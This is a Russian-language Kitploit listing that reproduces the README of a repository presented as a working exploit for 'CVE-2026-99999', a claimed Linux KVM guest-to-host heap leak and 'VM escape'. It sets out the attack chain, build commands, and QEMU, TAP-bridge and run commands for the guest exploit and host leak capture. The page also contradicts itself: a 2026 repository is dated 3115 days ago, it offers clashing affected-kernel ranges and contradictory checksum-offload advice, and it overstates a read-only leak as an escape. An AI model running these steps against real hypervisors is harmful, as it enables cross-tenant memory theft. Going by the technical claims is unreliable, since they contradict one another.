Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-99999-exploit — Рабочий PoC для CVE-2026-99999 — реальный побег из виртуальной машины через ошибку csum_start в ядре Linux (CVSS 9.3). Утечка данных из кучи от гостя к хосту. См. также: CVE-2026-99999-analysis (в образовательных целях). | Kitploit
Инструменты/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
Анализ уязвимостейЭксплуатацияСбор информацииВиртуализация для безопасностиСтатьи и ИсследованияПобег из Контейнера
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

Рабочий PoC для CVE-2026-99999 — реальный побег из виртуальной машины через ошибку csum_start в ядре Linux (CVSS 9.3). Утечка данных из кучи от гостя к хосту. См. также: CVE-2026-99999-analysis (в образовательных целях).

Репозиторий
3115 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-99999 — репозиторий PoC-эксплойта

⚠️ Это репозиторий с рабочим эксплойтом. Он содержит реальный код эксплойта, который вызывает уязвимость CVE-2026-99999 в работающей среде KVM/QEMU.

📚 Для безопасной локальной симуляции той же цепочки атак см. CVE-2026-99999-analysis (без root, без сети, чистый Python — отлично подходит для понимания ошибки без лаборатории).

Краткое описание уязвимости

CVE-2026-99999 — ошибка валидации csum_start в IPv4-стеке ядра Linux на пути сегментации GSO. Гостевая ВМ может утекать ~32–64 байта памяти кучи хост-ядра на каждый исходящий фрагмент пакета.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Затронутые ядра: все до исправляющих коммитов:

  • 5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+

Модель атакующего: непривилегированный код внутри гостевой ВМ KVM.


Структура репозитория

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

Цепочка атак

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

Сборка

Сторона гостя

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

Сторона хоста

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

Использование

Вариант A: режим vhost-user (рекомендуется)

Требуется:

  • QEMU, запущенный с -netdev vhost-user,...
  • Память гостя, разделяемая с QEMU через memfd или tmpfs
  • Root в госте
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

Вариант B: режим обхода TAP

Требуется:

  • TAP-устройство, подключённое к мосту хоста
  • Root или CAP_NET_RAW в госте
  • bridge-nf-call-iptables=1 на хосте (для пути GSO)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

Технические примечания

Совместное использование памяти vhost-user

Для работы эксплойта QEMU должен иметь возможность читать память TX virtqueue гостя. Без совместно используемой памяти QEMU не может прочитать дескрипторы — пакеты ставятся в очередь, но никогда не передаются.

Для тестирования используйте один из вариантов:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

Предварительные условия для пути GSO

Для срабатывания CVE требуется, чтобы хост-ядро обработало кадр через путь сегментации GSO. Это происходит, когда:

  • В кадре установлен флаг IP_MF (More Fragments) — принудительная фрагментация
  • На устройстве virtio-net включена разгрузка контрольных сумм (checksum offload)
  • Кадр превышает MTU (принудительная сегментация GSO)

Эксплойт устанавливает IP_MF в каждом пакете, чтобы гарантировать сегментацию GSO.

Обнаружение

Детектор на стороне хоста (receive_and_dump.py) идентифицирует CVE-2026-99999 путём:

  1. Захвата пакетов на интерфейсе моста
  2. Обнаружения повреждённых байтов IHL (version_ihl & 0x0F > 5)
  3. Сообщения о лишних байтах как о потенциальных утечках памяти кучи ядра

Файлы

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

Устранение неполадок

«Cannot connect to vhost-user socket»

  • Убедитесь, что QEMU запущен с vhost-user и сокет существует
  • Проверьте: ls -la /tmp/vhost.sock

«Host does not support VIRTIO_NET_F_CSUM»

  • В вашей конфигурации QEMU/KVM не включена разгрузка контрольных сумм
  • Добавьте в QEMU: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — включите, а не отключайте

«Host does NOT support VIRTIO_NET_F_CSUM» (вывод эксплойта)

  • Бэкенд vhost-user хоста не согласовал функцию разгрузки контрольных сумм
  • Это ожидаемо для некоторых конфигураций QEMU
  • Попробуйте вместо этого режим обхода TAP

Повреждённые пакеты не обнаружены

  • Убедитесь, что ядро хоста не пропатчено (до 5.10.272, 5.15.223, 6.1.190)
  • Проверьте: uname -r
  • Убедитесь, что на исходящих пакетах устанавливается флаг IP_MF
  • Попробуйте запустить Wireshark на мосту хоста, чтобы наблюдать необработанные кадры

Permission denied

  • Гостевая система: требуются права root или sudo
  • Хост: требуются права root или sudo для захвата пакетов и настройки TAP

Отказ от ответственности

ТОЛЬКО для авторизованных исследований в области безопасности в изолированных лабораторных средах. Неавторизованное использование против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным. Авторы не несут ответственности за неправомерное использование.

Скачать инструмент